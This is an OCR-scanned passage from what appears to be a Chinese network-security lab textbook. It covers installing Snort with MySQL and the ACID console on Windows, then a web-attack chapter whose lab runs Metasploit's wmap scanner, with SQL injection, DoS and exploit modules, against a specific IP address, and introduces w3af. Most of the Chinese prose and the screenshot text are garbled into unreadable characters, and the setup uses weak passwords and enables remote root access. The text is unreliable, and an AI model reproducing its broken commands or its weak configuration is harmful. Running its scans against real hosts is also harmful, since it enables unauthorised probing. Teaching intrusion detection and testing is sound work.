R4~ — : %%E Snort_2_9_0_1_Installer. exe, % H ZRIA 225 B ] , Snort it 2R IA 20 25 B 4%

42 C.\snort,

$+ snortrules-snapshot-CURRENT H 5% F A CH&E il (4231E) 3] C. \snort\ rules
E

TE A open-test. conf A snortrules FYFEI L X} i C:\snort\etc Y snort. conf P #
O RO, vl L A A7 B

1) AL MySQL

(1) i JE mysal 5. 0. 51b-win32. zip. 3 22 SN S Co\mysal 1. BRI %2
o VCEBUE SR IR 7.2, 6~ & 7. 2. 13 TR,

BySQL Server Instance Configuration Wizard

MySQL Server Instance Configuration

Configure the MySQL Server 5.0 server instance.

Please select a configuration type.

(* Detailed Configuration

Choose this configuration type to create the optimal server setup for
* this machine.

(" Standard Configuration

Use this only on machines that do not already have a MySQL server

installation. This will use a general purpose configuration for the
server that can be tuned manually,

<Back || Next> | Cancel

726 MQL L% @ SFHHE 1

LR . C:\Program Files\MySQIL\MySQIL. Server 5.1,

(2) fEm2 77 UM A net start mysqgl, J3 2 MySQL il 55, 725 “ 5 R 19 ik 55 & &
JR Bl

(3) TERBZE root W5 A4S, IF 7E o 247 7 20 F kA C: \'mysql\ bin, % AT i /Y

T

c:\mysgl\bin\mysqld -nt - install

e 167 o
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BySQL Server Instance Configuration ¥izard

MySQL Server Instance Configuration

Configure the MySQL Server 5.0 server instance.

Please select a server type. This will influence memory, disk and CPU usage.

(" Developer Machine
This is a development machine, and many other applications will be
run on it. MySQL Server should only use a minimal amount of
memory.

(¢ Server Machine
' Several server applications will be running on this machine. Choose

this option For webjapplication servers. MySQL will have medium
memory usage.,

(" Dedicated MySQL Server Machine

This machine is dedicated to run the MySQL Database Server. No
other servers, such as a web or mail server, will be run, MySQL will
utilize up to all available memory,

<Back | [ Next> | cancel

727 WAL ZEM@FHTHE 2

BySQL Server Instance Configuration Yizard

MySQL Server Instance Configuration
Configure the MySQL Server 5.0 server instance.

Please select the database usage,

(¢ Multifunctional Database

= General purpose databases. This will optimize the server for the use
of the fast transactional InnoDB storage engine and the high speed
MyISAM storage engine.

(" Transactional Database Only

- Optimized for application servers and transactional web applications.
-4 _ This will make InnoDB the main storage engine. Note that the
« MyISAM engine can still be used.

(" Non-Transactional Database Only

—— Suited for simple web applications, monitoring or logging applications
! as well as analysis programs, Only the non-transactional MyISAM
storage engine will be activated.

<Back | [ Next> | cancel

728 MSA ZEMEF5THE 3



BySQL Server Instance Configuration ¥izard

MySQL Server Instance Configuration

Configure the MySQL Server S.0 server instance,

Please set the approximate number of concurrenct connections to the server,

(* Decision Support (DSS)/OLAP:

Select this option for database applications that will not require a
high number of concurrent connections. A& number of 20 connections
will be assumed.

(" Online Transaction Processing (OLTP)

Choose this option for highly concurrent applications that may have
at gny one time up to S00 active connections such as heavily loaded
web servers,

(" Manual Setting
% Please enter the approximate number of concurrent connections.

Concurrent connections: I15 :I

< Back || Next > | Cancel

729 M. ZEE@FTE 4

BySQL Server Instance Configuration Tizard

MySQL Server Instance Configuration

Configure the MySQL Server 5.0 server instance.

Please set the networking options.

[v Enable TCP/IP Networking

Enable this to allow TCPJIP connections. When disabled, only local
connections through named pipes are allowed.
Please set the server SQL mode.

Port Number:

[V Enable Strict Mode

This option forces the server to behave more like a traditional
database server. It is recommended to enable this option.

<Bak | [__mext> | = cancel |

7210 ML LX) S5FH 5
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BySQL Server Instance Configuration ¥izard

MySQL Server Instance Configuration

Configure the MySQL Server 5.0 server instance.

Please select the default character set,

(" Standard Character Set

Makes Latinl the default charset. This character set is suited for
English and other West European languages.

(¢ Best Support For Multilingualism!

Make UTFS the default character set. This is the recommended
character set for storing text in many different languages.

(" Manual Selected Default Character Set / Collation
Please specify the character set to use.

Character Set: Iutfa -

<Back [ [ mext> | cancel

7211 ML ZE[EF5HH 6

BySAL Server Instance Configuration Wizard

MySQL Server Instance Configuration

Configure the MySQL Server 5.0 server instance.

Please set the Windows options,

[V Install As Windows Service

- . Thisis the recommended way to run the MySQL server
§ ?’ 2~ on Windows.
-

ot

Service Name: MySQLS |

| Launch the MySQL Server automatically

v E[m:lude Bin Directory in Windows PATH!

Check this option to include the directory containing the
server [ client executables in the Windows PATH variable
so they can be called from the command line.

<Back | Next > Cancel

7212 WAL LX) S5FH 7
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BySQL Server Instance Configuration ¥Wizard

MySQL Server Instance Configuration

Configure the MySQL Server 5.0 server instance.

Please set the security options.

[v Modify Security Settings

‘ Current root password;  [*terE Enter the current password.
3 New root password: e Enter the root password.,
Confirm: dokololololok| Retype the password.

[v Enable root access from remote machines

[~ Create An Anonymous Account

This option will create an anonymous account on this server. Please
note that this can lead to an insecure system.

< Back I | Next > I Cancel l

7213 ML 2K [[EF5FH 8

TEAT 21 7‘1_32\‘1:%1}\ net start mysql, J3 3 MySQL iR 55, &% 3% E%‘F(—‘ﬁﬂ%}} C:\
myaql\bm) T B R B w77 A emd FE LAy AT A
T A

c:\> ad mysgl\bin

c:\mysgl\bin>mysql —u root —p
mysgl —u root —p

i AN A BB 1Y) root 8,127 LA T2
create database Snort; /IPER A5 Je MySOL A 2 S iR U T 1R )
create database Snort archive;
create iﬁ*’fﬂiﬂng Snort iz 17 W75 1Y Snort g FEFI snort_archive Z(4E JE .
AT L P e

c:\mysgl\bin\mysgl - D snort —u root - p < c:\snort\contrib\create mysql
c:\mysgql\bin\mysql — D snort archive —u root - p < c:\snort\contrib\create mysgl

AN E A s DL root [P B4y o fdi A C:\snort\contrib H & T ¥ create_mysql Jif
A AF Snort ZUE JE H1 Snort_archive 28 E P @7 T Snort i 7 T WG R . FHIX
L root FH P58 5 MySQL B8 e 78 4 7n A5 I Fan AT T 9 3 )

grant usage on * .* 1o "acid"@ "localhost" identified by "acidtest";

grant usage on * . * to "snort"@ "localhost" identified by "Snorttest";

T AN 1 ) R A A MBS E v ST T acid (B B O acidtest) 1 snort CF 5 2K
snorttest) P~ FH P DL &S e i di A .

set password for "acid"@ "localhost"= password ('123') ;
e 171



set password for "snort"@ "localhost"=password('123') ;

grant select,insert,update, delete, create,alter on Snort . *  to "acid"

@ "localhost";

grant select,1nsert,update,delete, create,alter on Snort archive . * to "acid"
@ "localhost";

grant select, insert,update, delete, create,alter on Snort .+ to "snort"

@ "localhost";

grant select, Insert,update, delete, create,alter on Snort archive . * to "snort"
@ "localhost"';

AR EAE R a8ty P AE Snort Fil Snort_archive ZUHE JZE o 73 FC ALBR
EMASIRRARGE O EF L Fmd . 87 Snort Hi i Z2FH B £, Hd C.\
snort A& Snort 23 H 5.

c:\>mysgl - Dmysgl —u root —p <c:\snort mysgl

AT fir 2 BT 7 8 snort_mysql B 1 F] C £ F . 4Rt al LU B B0 Mb H 5% . AT
G s REESER A root YRS, i A RS 5 B Al 2 57 fr fa =i 3k .

5) LRHAMT A

(1) %% Adodb. fi# %44 adodb497. zip 3] C:\php\adodb H¥ T .

(2) %% Jpgrapg JEE . fit 44 jpgraph-1. 22. 1. tar. gz 3] C.\php\jpgraph., 3 HE&k C.\
php\jpgraph\src\jpgraph. php, &N~ —47:

TEFINE ("CACHE, DIR","/tmp/Jpgraph cache/™);

(3) &% ACID, fi#f 45 acid-0. 9. 6b23. tar. gz #| C.\apache\ htdocs\acid H & F , ¥
C.\apache\htdocs\acid\acid_conf. php XU F TN BB % K

$ [Blib path= "c:\php\adodo";

5 [Btype= "mysql";

$ alert doname= "snort";

$ alert host="localhost";

$ alert port="3306";

$ alert user="acid";

$ alert password= "acid";

/¥ Archive [B connection parameters * /
$ archive doname="snort archive";

$ archive host="localhost";

$ archive port="3306";

$ archive user="acid";

$ archive password= "acid";

$ Chartlib path= "c:\php\ jpgragh\src";

(4) W EEF TR http.//127. 0. 0. 1/acid/acid _db _setup. php . 7£ 5T JF 119 01 [ H 5
i Create ACID AG #Z41. 1L R 4 H 3hifE MySQL Hr & v7. ACID iz 47207 192088 2, an il 7. 2.
14 JlR

6) J3 Bl Snort

FTH C:\snort\etc\snort. conf X B SCAFE 8 T 31 iE ]
o 172 o



3 ACID: DB Setup — Nicrosoft Internet Ezplorer
THFE wEE FFV) W@ ITHEIO #RHIO)

Ot - © HNRAG LPuxr Jrvax @ Q-5 /S 3

itk @) |‘| ttp: ff127.0.0.1:50080/acid/acid db tup. php v| 3 e ¥ | Horton dntiVirus E -

ACID DB Setup ::Tr:h AG Maintenance

[ Back |

ACID tables Adds tables to extend the Snort DB to suppott the ACID functionality [ Create ACID AG |

NE
Sensuh inngxee (Optional) Adds indexes to the Snort DB to optimize the speed of the guenes RHNE

[Loaded in 1 seconds]

Roman Danyliw AirCERT

Q Internet

7214 AOD Bz 5t |

include classification.config
include reference.config

BN 4 X B A

include c:\snort\etc\classification.config

include c:\snort\etc\ reference.config
P12 SCAF Y B e AT T ) 1 ) -

outjout database: alert, mysdl, host= localhost user= snort password= snorttest
doname= snort encoding= hex detail= full

AT LA T A2 I Snort &5 1EH .
c:\> snort — dev

REE P — R IEAEFERA /NG EH TAEIE® . nE 7. 2. 15 i,

c:“Snortsbin?snort —dew
Running in packet dump mode
—== [pnitializing Snort ==—
Initializing Output Plugins!?
pcap DAQ configured to passive.
Acgquiring network traffic from "“Device \NPF_{ADCADDAC-C818—411C—-2F1°7-1D4BB64C?B1

Ay A0
.}
p t

Decoding Ethernet

—== [nitialization Complete
-#> Snopt? (-
Uersion 2.2.8.1-0DBC-MySQL-FlexRESP-WIN3Z2 GRE (Build 82)
By Martin Roesch & The Snort Team: http:/vww.snort.orgssnort/snort—t

Copyright <C> 1998-2818 Sourcefire. Inc.. et al.
Using PCRE version: 8.18 2018-86-25

Using ZLIB version: 1.2.3

Commencing packet processing <(pid=2328>

7215 Sot BastE




AT LR i 2 A8 75 A 3 I 245 0 B 2 20 5

c:\>snort - W
1E L3 38l snort.

c:\>cd snort\bin
c:\snort\bin> snort - ¢ "c:\snort\etc\snort.conf" - 1 "c:\snort\log" -d -e - X

TE. AP 1B AHARNTSHR ST .E snort -W & 7 4o,
c:\snort\bin> snort - ¢ "c:\snort\etc\snort.conf”" - 1 "c:\snort\logs" -1 2 -d -e -X

X SN F IR 42212 5% raw packet (4 .

-d ZH0] sk ZE ) EE .

-e ZR N /e sk R KB .

¢ RISk 5 % Snort 1YL B SCIF ) 42 .

-1 45 B W W 19 X 4% 422 1T

7 ecmd 1,217 snort -W.,W K5 . 1y 4 0] IYEN Snort J& 5 22 25 1% 2 i bs & . [
Nl AERETENMRER., —H8EW T snort -v g0 DLSC R B AT 55 . % Curl
+C A5 PR,

MoANE RN ERE . RULE_PATH,.SO_RULE_PATH.,PREPROC_RULE _PATH,
dynamicpreprocessor 1 dynamicengine [ 42 15 B W 201 & 46 X B A2 . A — W 2 B
dynamicpreprocessor Y fgFe i o AN LR RS R - AR A DI 258 il | 58 2 28

{d T AC B 1 a2 7 =08

snort — v — ¢ "c:\ snort\etc\ snort.conf™

£ “ERROR : OpenAlertFile() == fopen() alert file log/alert. ids: No such file
or directory” . Al 3l i DL T iy 2>

snort — 1 c:\snort\mylogs — ¢ c:\snort\etc\ snort.cont

WS E A5 H

1F D0 58 45 19 Hb ik 22 P g A http://localhost: 50080/ acid/acid_main. php. # A ACID 43
Precl & 5 m . il LLEF ARG R ., SSmai R RWE 7.2, 16 s,

AP A1 8 5 56 1) S SR A i ) Bl A ARG T 1) 445 R

%% Snort I G B K3

Apach J7 glifx 2 F .

goache -k install 8 agpache - k start

9 Al 1 R

o fF b S e e A Y P RN 2 SR A
o [ IA I8 F 1 ] A DL R SR DR O K
o ERWOGR SR
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Analysis Console for Intrusion Databases

Added 0 zleri{s) to ihe Alert cache

Quoried on : Fri Decembar 22, 2008 16:50:24
Database: snort_aler@localhost  (schema wersion: )
Time window: [2005-12-22 16:15:22] - [2006-12-22 16:50:1E]

Sensors: 1 Traffic Profile by Frotocol
Unigue Aleris: 12 TCFE [17%] =
Total Humber of Alerts: 86 _
e« Source IP addrecees 5 i L.
s Dot IP addregzes: 4
« Unigua IP links 11 ICMP {85%)
[ —
e Source Pors: 3
o TCP (3 UDF (o Portscan Traffic %)
« [est Ports 3
o TCR (3 LUDRP m
+ Search
« Graph Alert data
« Snapshot
e Nhost recent Alerts: any protocal, TCP, UDP, ICMFP v |ost frequent 3 Alerts
o Today's: alerts unigue, listing, P srcf dst
o Lasi 24 Hours: alets unigue, listing, [P sic [/ dst s Most Frequent Source Portz: any |, TCP |, UDP
o Last 72 Hours: alens unigue, listing, P sic [ dst s Wogt Frequent Dectination Porte: any |, TCR | UDP

« flnst recent 15 Unigue Alerns

¢ Mnst freonent 15 addresses snuree destinatinn .|

& 7216 ACDE = Sot el & R

7.3 Snort ¥ JiESL S

s % oA

Snort X R%:,1 &,
PC(Windows XP/Windows 7).1 5.

i >) BEoR

(D) hrse s~ . 2 2 AR ER A RNE .
(2) A Snort FAFWE T

(3) ABL KT M AR R .

(4) il 1 > 4 5

ot 175

AR HE— A R Snore REE e A RR LR
S b

%A Windows XP/Windows 7 #:/E R4 1 PC — 1.

PR AT

A= K ) i 2

1. TREBREXH
FTH C:/snort/ete/snort. conf X/ . B FHIHA B B . & H Snort 19N A0 WK I {1 FH
e 175 o



¥ snort. conf X var HOME_NET any &) 19 any 208 B & B 76 09 + ™ 4 41k . BPRE
Snort W5 A9 N P 3 B8 ASHLT 7R B9 Ry B, anAS s TP O 1920 168, 1. 10, WK any 208
192.168. 1. 0/24 , 3% var EXTERNAL_NET any &A1) any 21192, 168. 1. 0/24, B
¥ Snort Wil (1) S N 2R A< BT e JR 35 DA AR 1 IR 2% 1 W T g B DU . R 3] snort
. conf LA AR A5, an &l 7. 3. 1 Firzs s snort. conf ST AR AL P A ARG IR DU S A4 4
PR I 2 W] R IZ N A RS LB local. rules Z HTH £ 5 e, H A B0 AR AR AR

& snort.conf - iIBHEA 555? = 10| X|
XiHE) ®REE ®BHAQ FHH)
include $SRULE_PATH/finger.rules -

include S$RULE_PATH/ftp.rules
include SRULE_PATH/telnet.rules
#include $RULE_PHTH{rpc.rules
#include $SRULE_PATH/rservices.rules
#include $RULE_PATH/dos.rules
include SRULE_PATH/ddos.rules
include SRULE_PATH/dns.rules

I« L

Bl 731 SwotBc&im|

2. FHEFEEFSRANER
FTHF http://localhost /acid/acid_main. php W 0. J3 3f) Snort 4T ACID K5 il 4% il
SES . aE 7.3, 2 s,

f Analysis Console for Intrusion Databases (ACID) - MyIE2

MO RRE 2EW KRG RESQ BHQ ITAD BOW FHE)
D-0-0- NG al-@-Fpe- W-B-M M E3EFE

itk 9] hittp://127.0.0.1:50080/acid/acid_main.php - 8- gz P -ev
"9 elWindows Media @] Vindows @Yo ATHotMall @) BE XikEE

ACID: ... [Analys...|8) B#... |

4l

Sensors: 1 -Trafﬁc Profile by Protocol

Unique Alerts: 34 ( 10 TCP
categories ) e

Total Number of Alerts: 2021

UDP (< 1%)
® Source |P addresses: 41 J

® Dest. IP addresses: 108 | |CMP (20%)
® Unique IP links 196 I

® Source Ports: 752 Portscan Traffic [0%)_

QO TCP ( 749) UDP
[ 3)
® Dest Ports 19
O TCP(18) UDP ﬂ

foAA

Stk WO S &3 25K

B

B 732 SutizdEE

B E R TCP J5 80 80 %0 K b /s Fir A K U 31 /) TCP Bp il H 35 19 17E 40 15 B0 . 4
&l 7.3.3 Fron . TCP PR H 5 R 0T it 328 T5 K O R e m 28 788 | B[R] 88 L U b ik . H A bk DA
K, F Snort EHLTER A A 202.112.108. 0, A LA H, HES Hids: T2 1P
X N A9 3% 422 CRID B BR b k35 2 IR

PEHEFE I 25 TP 1Y home & [Pl 5 3 A, 78 F 50000 304 3 & B M H 25350, 4
K 7.3.4 s

PEFE“last 24 hours:alerts unique”, A] L FH #| 24 /N PN FRE 7L & 19 70 2518 5 F1o0 #7
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fa ACID: Query Restilts - MyIE2 _|o|x

- HMHE) HIBE EEN) AWREI(A) BRESEG) EmD) IR{I}_ BOW) FEIHD ‘@ - B
HU-0-©-HRAG ¢ .- @ - Hee- -0 -fE-M 2B E
Mokl ®] htp:127.0.0,1:50080/ acid/acdd_qgry_main.php = 8 - s P L "B

(9 eWindews Media @] Windows @R FHHotlail o) SN EEE
ACID: ... |@linal...|2] B#... |

Layer
Signature Timestam SOUrED Dest. 4
g P Address Address
Proto
= [short] SHELLCODE %86 0xQ0 2004-12-29 TCR
#100- Lnicode NOOP 11:26:51 202.112.101.34: 1498 202.112.108.216 445
(1-
1922)
= [short] SHELLCODE %86 0xan 20N4-12-249 TCR
#101- Lnicode NOOP 11 9651 202.112.101 34 14598 202.112 108 216 445
(1-
1921)
- [snort] SHELLCODE %86 0x90 2004-12-29 TCF
#1102~ Lnicode NOOP BT Gl 202.112.101.34: 1498 202.112.108.216 445
(1-
1920)
= WO % o i3 1M |

B 733 SotERENTE

- XMHE ®EE TEY WEE REEE ERQ TAD S0Ww #RE) "B -8
N-0-0-HNRAG sk a-@-Fee- 0-@-F- M- 2B E
“dirhk ] http://127.0.0.1:50080/acid/acid_main.pho - 8- px P LR B

elWindows Media @] Windows @B FmRTHoMall o) B F M HEE
ACID: ... |Analys... @] BHEE .. |

® Snapshot ﬂ
® [ost recent Alerts: any protocol TCP, ® [Most frequent § Alerts
UDP, ICMP
® [oday's: alerts unique, listing, IP src/ ® Most Frequent Source Ports: any , TCP , UDP
dst ® Most Frequent Destination Ports: any , TCP , UDP
® | ast 24 Hours: alerts unique, listing, [F

src / dst ; "
® |'as 77 bours:aleds unique. ilsting: i ® [Most frequent 15 addresses: source, destination J

src/ dst
® Most recent 15 Unigque Alerts

® | ast Source Ports: any , TCP , UDP
® | ast Destination Forts: any , TCP |, UDP

W0 SSHBE 131

B

B 734 SwotiIzd SN nm

KPIEAIC Sk TR AR m AP R A B H B A ] Y B T B R 4R T 1k )
[ S 40 o0 B (FE T 5 E A b b A HAbDhae . 5 B 2 A HAD .

3. B & snort 0|

Zk )OI — 2 AL s DA A & ke R0 59 20 E B0 3 A7 A 5T HF C: \snort\ rules)\ local
crules XU 7. 3.5 s,

&) local.rules - iIEA - [0 X
¥iFE) ®EE BL0 W|WEH

# $Id: local.rules,v 1.8.2.2 2004/08/10 13:52:06 bmc Exp $ =
H ________________

# LOCAL RULES

“ ________________ e
# This file intentionally does not come with signatures. Put your local

# additions here. =

B 735 Sot # N gRiE S
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76 T 78 I — 2 vy, S BT Y R ) UDP B0 AY A O 3 2k A7 K6 0, O 28 il 41 4% 15
B “udp ids/dns-version-query”, i5HJ U0 | .

alert udp any any <> $ HIE NET any (msg:"udp 1ds/dns- version- query";content:
"ersion";)

GRAF CF)a B . B S Snort A ACTD 4G 45 il 5+ {58000 A 5%
o BfF b S 6 A Y AP AN 2 SRR

o [ AR B Y )R D KSR R T

o FARWOR SR

e |78 o



B 8 & Web il &AL

8.1 Web il % b

Web P il 18 % & 45 B ol 72 77 E s iR . % WA Web Jw il ol RLor o LR LR

(1) PP et e . Py i i it 8 — 2 th T Web IR 55 48 A0 B P i ok B o RS 1Y
5] 4n , 3 55 $2 238 — AN A Y3 oK 508 2 RS O A8 1 Y FRIR T R L 50 & T R — 1> Web JIk
55t LATFAER) SO AR T BE S EUE R (B . X BETE SRARA — A e [a] 45 5 L IR it 2 9 3 >R 1Y
Y EERT CGLA A R#HA HTML Wi, BmF —FiER. 52 Web IR 45 25 it 4
e B R A AR P A R L T Web RS AR B R AR L AR X B TR B ),

(2) CGI JFEACAS M 5 . CGI PEACAD I &2 19 J5t A Le 8 22 9l R /N5 G B0 fige 4% B 0 %
R AT BRSO F 3 19 FF A 0 oK 55 L AR AT e = B CGT R AU i &% .

(3) H 3l [ HFXT Web IRk 55 48 2k U A 22 UL, 38 1 3T 2 B . .
B A TR SO BB, . /7 s A . L /T — e . L\ T E
2 H gt AT e B H Fam . /i —F g SIS 2 0L, 1EIE'J:[£|1'U’JIL$EPT§{RJE%JM?£,
IS YK 14 s A A1 Unicode i 5 s 1 &8 & T 76 da i 3L A E 1708 005 2009 .

(1) PATEF WL PUTIEEMLS ERIUTIEERERGE L T EGUFEAMEL . —
Pl 00 2 a0 ot ok iy H S i gy i R 20 Y 4 0@ A H Unicode ff# 5 i il R TRAT R G 2
3 oh—HFE Ol Web il 55 5 8 H 7P 38 5 W3 5K /E o SST 45 4 g fir . B It 5 BT AL &

il o

(5) G vp X % th G ob X 36 ) U 1 02 Web 55 2% B A X H P #2438 i 8 K g R i A7 & 4l
PIALHE, X Fhig SR ] BB FE K URL K HTTP Header i 3% ¥ H Al 88 < ) 20 . X
U Tl A] RE 2 BORAT AT B 2 B0 TR 4 Ik 55 . — M E T A 3 19 B0

(6) a4 Mk 55 HA MRS - AENEHNZM 24, FEUFHFBEK URL K H KB K
HTTP Header 3./ HT TP Header sl DOS &4 4% . BT Web RS o5 46 4b H
X 6 R R T SR AN 1 e i R A B O SO 2 L R e AR 2 el R

(7) cF5e . XBEMFMES FERE X — SRS NN S . X KRS & — 2
L System 5{ Root By iz 47119, B AT S0 H — L8 il BF TR o i X)X 28 SO gk 475 $4E
ZHIAEAX W ST A X EE R S ES . 2R R 5
GRS

(8) 5 vl IAS AT D il - Pl 3 D0 i m ] AR 5 el IR 55 4 A B T EL i & BIL D N e e RS
) SCAF HTML fRic . WE2R A AT E B9 N 2845 51 A 3 3 248 00 b 0 838 42 Il b 2 %
PLER B A 08 1 (5 3R TR 33 A I B0 IR BCOR 7 38 Tt o 80 38 A0 A R 3 e — Ry = 1% 1o
P42 i 25 ol o5 B A 1 4 22 Al S nT DLAE 0T b 4R 22 Rl DL SE R HC i A AR, ]
JavaScript, VBScript . ActiveX \HTML 5% Flash F N 25, 38 A P — BB 7 W 1 | ix 2L
B A P A B A AS 7 P 2 AL B AT 52 OMIRGR T 7 S8 RSO P 1 L B3 RO L 2
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cookie F M ) 78 N O Fh Bh oo 174

(9) SQL A X TG & 8BS R 7= A28 5 oL, a0 28 354 X P S A &0s 4y
BRI, 2 (N AR P A7 AR A BeU . P AT DUAE 42 22 1 &E 1) URL B3R 3
i AAE P i 32 — BOR O Al 1 10 28080 JE A i A (05 & 0 PR B0t 0 n9 SQLATHS . 2o
Fr AR e ol (0] 019 245 2R L AR AT Al S0 At A A5 R 1) SECRRI R L 9 A0 R PR O3 % A L PR R SR S

8.2 Web kil 5L 55

505 % A

Back Trackd Mgel% CfF.1 &£,
VMware EHIHLEAF .1 £
PC(Windows XP/Windows 7).1 &,

i >) 2R

(1) MFsz8 Wi~ . 5 > web IR ARMPIA FLHNE.
(2) FAE NG I B R e A AR AR
(3) Aty > 4 .

S 155
A AR SR AR e R 7 A G SRR TR AL 0 s IR T
S SR B

—HEZE T VMware EfIVLEAF Y Windows 7 #:4/E R G 11T B ML . BT5(Back Track
five) & 4¢ .

AT 1R

(1) 2% s 71

(2) Uil Y B

S5 2 R

1. {# A Metasploit & & B wmap web 33 # 28

wmap web B 715 & FH A EC & Metasploit H s Ho Al 39 3 4 B B B, ok X

W s A AT A TP
(1) B\ % . )33 Metasploit,

rootl@ bt: ~ # msfoonsole
(2) In#L wmap BB,

mst> 1oad wrep
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(3) i H] help A A A HIEE .
s> help

wmap [ A& ST

wWrep modiles Manage wrap modules

Wrep nodes Manage nodes
WIEp 1un Test targets
wWrep sites Manace sites
wrep targets — Manage targets
Wrep vulns Display web vulns

wmap Commands 423 U0°F .

wmap_modules; wmap FiH )45 H a4,

wmap_nodes: 5 HIBEIH YT S a4,

wmap_run: X HrEFHAH 4.

wmap_sites: 5yl (09 ar2 B uh A B s b,
wmap_targets: 5 M H PRI a2 R0 Mg 2h SOVE v 409 H bk .
wmap_vulns: Bz Ryl vulns,

(A A A Bty e 4+ SR A BRI 31 4 A 3

wrep sites - a http://202.112.50.74
WEEA R A E .
[% ] Site created.

BB B E TP Hihlk A hop://202. 112, 50. 74,
(5) f#i FH wmap_sites (-1 ay2 & F w01 E4H 15 B .

ms>wmep sites -1
WHE AR AEL:

| * | Available sites

0 202.112.50.74 202.112.50.74 80 http 0 0

Al LG 3], WA G0 5k SR8 0 5l 0, ol A0 R 0Lk A5 Sk 202, 112, 50, 74, ¥ 1
R 80 g 1 o i i B A hitp PR,
(6) 5 B H by a2 6 WA 38 0 0% 3l 558 & o 3300 B r
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mst> wmap targets - t http://202.112.50.74

(7) f Haz 7 140 H bR 2 o -t Z 808 B R A T LE BB g R 2R 17 14
mst>wrep run - t

D Y T 9l 41 AR AT

[% ] Testing target:
[* ] Site: 202.112.50.74 (202.112.50.74)
[* ] Port: 80 SSL: false

[* ] Testing started. 2016- 05— 27 09:11:25 — 0400
[* ] Loading wmap modules. ..

[ ] 39 wmap enabled modiles loaded.

[* ]

[* ] Module auxiliary/scanner/htigo/http version

[* ] Module auxiliary/scanner/http/cpen proxy

[* ] Module auxiliary/scanmner/http/robots t=t

[* ] Module auxiliary/scanner/htto/frontpage login

[* ] Module auxiliary/admin/http/tancat admnistration

[* ] Module auxiliary/admn/http/tancat utf8 traversal

[* ] Module auxiliary/scanner/http/gotions

[* ] Module auxiliary/scanner/htijo/drupal views user enum
[* ] Module auxiliary/scanner/httyp/scraper

[+ ] Module auxiliary/scanner/http/svn scanner

[* ] Module auxiliary/scanner/http/trace

[* ] Module auxiliary/scanner/http/vhost scamner

[* ] Module auxiliary/scamner/htiio/webdav intemal ip

[* ] Module auxiliary/scanner/http/welbdav scanner

[* ] Module auxiliary/scanner/http/welbdav website content
[* ]

= [ File/Dir testing =

[* ] Module auxiliary/dos/http/apache range dos

[* ] Module auxiliary/scamer/http/backup file

[* ] Module auxiliary/scanner/http/brute dirs

[* ] Module auxiliary/scamner/http/copy of file

[+ ] Module auxiliary/scanner/http/dir 1listing

[+ ] Module auxiliary/scanner/http/dir scanner

[* ] Module auxiliary/scanner/http/dir webdav unicode bypass
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[* ] Module auxiliary/scamner/http/file same name dir
[# ] Module auxiliary/scamner/http/files dir
[# ] Module auxiliary/scanner/htigo/http pat

[* ] Module auxiliary/scanner/http/ms09 020 webdav unicode bypass
[* ] Module auxiliary/scamner/http/prev dir same nare file

[* ] Module auxiliary/scanner/http/replace ext

[* ] Module auxiliary/scamner/http/soap xml

[* ] Module auxiliary/scanner/htipp/trace axd

[* ] Module auxiliary/scanner/htip/verb auth bypass
[* ]

= [ Unique Query testing ]=

[* ] Module auxiliary/scanner/htip/blind sql query

[* ] Module auxiliary/scamner/http/error sgl injection
[+ ] Module awxiliary/scamner/http/http traversal

[# ] Module auxiliary/scanner/http/rails mass assignment
[* ] Module exploit/milti/http/lans php exec

[* ]

MR B 25 508 0] DU H L S 38A 39 I ERZ 5 3 1 il /9 479 48 ok
(8) fifi Hiz 474148 H An w2 b 19-e %0 X H bl s dE A7 3148

ms>wrep nn -e
D A A H AR SR SIS RN R

[* ] Using ATL, wmap ensbled modules.

- ] NO WP NOTES DEFINED. Executing local modules
[* ] Testing target:

[* ] Site: 202.112.50.74 (202.112.50.74)

[* ] Port: 80 SSL: false

[* ]

[* ] Module auxiliary/scanmner/http/http version



[* ] 202.112.50.74:80 Apache/2.2.14 (Uountu) mod mono/2.4.3 PHP/S.3.2- luountud.5 with Sthosin- Path mod
python/3.3.1 Python/2.6.5 mod perl/2.0.4 Perl/v5.10.1

[# ] Module auxiliary/scanner/http/cpen proxy
[* ] Module auxiliary/scanner/http/robots txt
[% ] [202.112.50.74] /robots.t=t foumd

[* ] Module auxiliary/scamner/htigo/frontjoage login

[* ] Module auxiliary/admn/http/tancat admnistration

[+* ] Module auxiliary/admn/http/tancat utf8 traversal

[* ] Module auxiliary/scanner/http/gotions

[* ] Module auxiliary/scamner/http/drupal views user emum

[* ] Module auxiliary/scanner/htigp/scraper
[* ] Module auxiliary/scanner/http/svn scanner

[* ] Module auxiliary/scanner/http/trace
] DLFE H sauxiliary/scanner/http/http_version #&H 5+5 2] 19 IR 55 45 1015 B AL 45 -

Ppache/2.2.14 (Uountu) mod mono/2.4.3 PHP/5.3.2- Iuountu4. 5 with Suhosin- Path mod python/3.3.1 Python/2.6.5
mod perl/2.0.4 Perl/v5.10.1

auxiliary/scanner/http/robots_txt il [a] £ 49 4 2] robots. txt {4 CEP 75 BH 2% 1| 1 HL
Y T A BB SO B AR AE

wmap web A B AR Z 0] DIAR I8 BARIE O L hf @ B T A 3L & B A A& 4L 3 A
B B X A —— 1 T,

2. {&E B Metasploit K B /) w3afl 34 28

w3af(web application attack and audit framework) 4& —1~ Web L H & ¥ X oy f &5 11
HEAR, T 00 bR R — A 5 T (TR R L R 65 2 BRI Weeb [ 117 e 0 31 19 = FA
2, w3al BYROACHS Fd F5€ 2 i Python 45 . WU H C A 130 4~ AY 4 17F . 1 28 i 1F
Al AR SQL A L 85wl JAVAS | A< 1 s 5 SO 2 S T Tl

HH w3al D288 2 1.1 i, B HEZR B1 4 O 8 it . B AS 18 19 T 3l 4G
3T T2 150 nyERE . HIDEE AR ST

o FFUHE,

o (CHES 50k,

o 3y 56 IE

o ERTALFE,

o Phig H P CHE

o CHTHE A E BRI K

e Cookie #bHf ,

o AHZAF GET Hisk#.

o A4 DNS 17,

o PRFFACFE HTTP A1 HTTPS &2,

« fliflZ POS iF R X EA% .

« FF SSL k5.

(1) i# A w3af FrfE 35,
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root@ bt: ~# ad /pentest/web/w3at/

(2) AH SO 3CHF.

root@ bt: fpentest meb/W3aft 1s - 1

BE e w3al U R SCHF R E S a0 F .

total 52

drwxr— xr— x 6 root root 4096 2013- 05— 20 10:23 core
drwxr- xr— x 12 root root 4096 2013- 05— 20 10:23 extlib
drwxr— xr— x 5 root root 4096 2013- 05— 20 10:23 locales
drwxr—- xr— x 13 root root 4096 2013- 05— 20 10:23 plugins
drwxr- xr— x 3 root root 4096 2013- 05- 20 10:23 profiles
drwsar— xr— x 6 root root 4096 2013- 05— 20 10:24 readme
drwxr- xr—- x 3 root root 12288 2013- 05- 20 10:23 scripts
